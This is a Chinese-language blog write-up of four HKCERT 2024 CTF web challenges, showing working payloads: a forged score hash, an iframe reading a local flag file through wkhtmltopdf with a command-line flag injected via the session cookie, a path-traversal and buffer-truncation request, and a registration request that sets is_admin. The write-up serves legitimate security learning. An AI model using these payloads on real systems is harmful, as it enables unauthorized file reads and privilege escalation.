HKCERT 2024 部分 web wp

又是跟的wgpsec打。还是把wgpsec的wp贴一下：https://mp.weixin.qq.com/s/T7EicKJOOVcwWohy_HTClQ

因为大部分师傅都没啥时间，导致这次被迫打了全栈。最后算是水了个61名。然而我终究还是web手。其他方向学起来还是很费劲的，加上本人也很乏，所以就只写点web。

一样的，我把web部分写详细点。让我们开始吧！

WEB

New Free Lunch
Webpage to PDF (1)
Custom Web Server (1)
Mystiz's Mini CTF (2)

WEB

New Free Lunch

签到题

黑盒。进去一个登陆注册页面，看了一下无注入，无泄露，无弱密码，正常注册账号登录。

前端逻辑用的js实现，直接看源码

 async function endGame() {
            clearInterval(gameInterval);
            clearInterval(timerInterval);
            alert('Game Over! Your score: ' + score);

            const hash = generateHash(secretKey + username + score);

            fetch('/update_score.php', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json',
                    'Authorization': `Bearer ${token}`
                },
                body: JSON.stringify({
                    score: score,
                    hash: hash
                })
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    alert('Score updated!');
                } else {
                    alert('Failed to update score.');
                }
                location.reload();
            });
        }

注意到提交分数的函数。显然，这里将secretKey，username, score拼起来求sha256来验证分数的合法性。跟进。在代码中找到明文secretKey

使用sha256伪造签名

随便玩一次，提交分数时用burp抓包，更改分数

前往积分榜拿flag

hkcert24{r3d33m_f0r_4_fr33_lunch}

Webpage to PDF (1)

签到题。

考的是wkhtmltopdf中xss读取本地文件的漏洞。这里直接在jsbin上起一个带file协议读取的website让靶机获取即可。

<!DOCTYPE html>
<html>
<head>
    <title>Flag</title>

</head>

<body>
    <iframe src="file:///flag.txt" width="100%" height="100%"></iframe>

</body>

</html>

然而在这里因为wkhtmltopdf本身的防护读不到本地的文件，需要加上--enable-local-file-access。可以看到，在源码里存在命令拼接的漏洞。

这里session_id可控，直接在cookie session前加上--enable-local-file-access即可。随后就会变成如下命令

wkhtmltopdf --enable-local-file-access {SESSION_ID}.html --enable-local-file-access {SESSION_ID}.pdf

从而读取本地文件

随后访问/9d6bd64c-dfb1-44be-acd6-72b24088b9f8.pdf即可

hkcert24{h0w-t0-use-AI-wisely-and-s4fe1y?}

Custom Web Server (1)

下载附件，读

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>

#define PORT 8000
#define BUFFER_SIZE 1024

typedef struct {
    char *content;
    int size;
} FileWithSize;

bool ends_with(char *text, char *suffix) {
    int text_length = strlen(text);
    int suffix_length = strlen(suffix);

    return text_length >= suffix_length && \
           strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}

FileWithSize *read_file(char *filename) {
    if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return NULL;

    char real_path[BUFFER_SIZE];
    snprintf(real_path, sizeof(real_path), "public/%s", filename);

    FILE *fd = fopen(real_path, "r");
    if (!fd) return NULL;

    fseek(fd, 0, SEEK_END);
    long filesize = ftell(fd);
    fseek(fd, 0, SEEK_SET);

    char *content = malloc(filesize + 1);
    if (!content) return NULL;

    fread(content, 1, filesize, fd);
    content[filesize] = '\0';

    fclose(fd);

    FileWithSize *file = malloc(sizeof(FileWithSize));
    file->content = content;
    file->size = filesize;
 
    return file;
}

void build_response(int socket_id, int status_code, char* status_description, FileWithSize *file) {
    char *response_body_fmt = 
        "HTTP/1.1 %u %s\r\n"
        "Server: mystiz-web/1.0.0\r\n"
        "Content-Type: text/html\r\n"
        "Connection: %s\r\n"
        "Content-Length: %u\r\n"
        "\r\n";
    char response_body[BUFFER_SIZE];

    sprintf(response_body,
            response_body_fmt,
            status_code,
            status_description,
            status_code == 200 ? "keep-alive" : "close",
            file->size);
    write(socket_id, response_body, strlen(response_body));
    write(socket_id, file->content, file->size);
    free(file->content);
    free(file);
    return;
}

void handle_client(int socket_id) {
    char buffer[BUFFER_SIZE];
    char requested_filename[BUFFER_SIZE];

    while (1) {
        memset(buffer, 0, sizeof(buffer));
        memset(requested_filename, 0, sizeof(requested_filename));

        if (read(socket_id, buffer, BUFFER_SIZE) == 0) return;

        if (sscanf(buffer, "GET /%s", requested_filename) != 1)
            return build_response(socket_id, 500, "Internal Server Error", read_file("500.html"));

        FileWithSize *file = read_file(requested_filename);
        if (!file)
            return build_response(socket_id, 404, "Not Found", read_file("404.html"));

        build_response(socket_id, 200, "OK", file);
    }
}

int main() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    struct sockaddr_in server_address;
    struct sockaddr_in client_address;

    int socket_id = socket(AF_INET, SOCK_STREAM, 0);
    server_address.sin_family = AF_INET;
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
    server_address.sin_port = htons(PORT);

    if (bind(socket_id, (struct sockaddr*)&server_address, sizeof(server_address)) == -1) exit(1);
    if (listen(socket_id, 5) < 0) exit(1);

    while (1) {
        int client_address_len;
        int new_socket_id = accept(socket_id, (struct sockaddr *)&client_address, (socklen_t*)&client_address_len);
        if (new_socket_id < 0) exit(1);
        int pid = fork();
        if (pid == 0) {
            handle_client(new_socket_id);
            close(new_socket_id);
        }
    }
}

看到C语言自制http服务器应激想到溢出和截断。显然，服务器上存在一个路径穿越漏洞，如图

然而这里有一个后缀的白名单，读取不到flag.txt

首先尝试了%00截断，无果。接着找截断的sink。

注意到

snprintf(real_path, sizeof(real_path), "public/%s", filename);

中real_path的大小是固定的1024字节（常量buffer_size）且在白名单检测之后，因此，此处存在由溢出漏洞导致的截断。

写个demo模拟一下

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <stdbool.h>
bool ends_with(char *text, char *suffix) {
    int text_length = strlen(text);
    int suffix_length = strlen(suffix);

    return text_length >= suffix_length && \
           strncmp(text+text_length-suffix_length, suffix, suffix_length) == 0;
}
int main()
{
	char *filename = "../flag.txt.html";
    if (!ends_with(filename, ".html") && !ends_with(filename, ".png") && !ends_with(filename, ".css") && !ends_with(filename, ".js")) return 0;

    char real_path[19];
	snprintf(real_path, sizeof(real_path), "public/%s", filename);
	printf(real_path);
   return 0;
}

这证实了我们的猜想。于是直接手搓payload发包GetFlag

exp：

/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../../././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././flag.txt.js

hkcert24{bu1ld1n9_4_w3bs3rv3r_t0_s3rv3_5t4t1c_w3bp4935_1s_n0ntr1vial}

Mystiz's Mini CTF (2)

（2）做出来了（1）没做出来，绷

下载附件，审计。发现GetFlag的条件在拥有admin权限。查看User model，有

只要注册到is_admin为真的账户即可。直接去看register有没有注入

发现在Register里直接使用用户的输入来进行User model的初始化。没有检测参数的合法性

我们直接在注册的时候传入is_admin参数即可注册到admin权限的用户

POST /register/ HTTP/2
Host: c16a-minictf-1-t100292-gynjajepa6zntwuvowczl5mv.hkcert24.pwnable.hk
Content-Length: 71
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: https://c16a-minictf-1-t100292-gynjajepa6zntwuvowczl5mv.hkcert24.pwnable.hk
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://c16a-minictf-1-t100292-gynjajepa6zntwuvowczl5mv.hkcert24.pwnable.hk/register/
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

username=LamentXU&password=1145141919810&score=1145141919810&is_admin=1

直接进/api/admin/challenges拿flag就行

hkcert24{yOu_c4n_wrlt3_unsp3clf13d_4t7rlbu73s_t0_th3_us3r_mOd3l}}

posted @ 2024-11-13 13:39 LamentXU 阅读(55) 评论(0) 编辑收藏举报

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LamentXU

CTF FOR FUN!

HKCERT 2024 部分 web wp

WEB

New Free Lunch

Webpage to PDF (1)

Custom Web Server (1)

Mystiz's Mini CTF (2)

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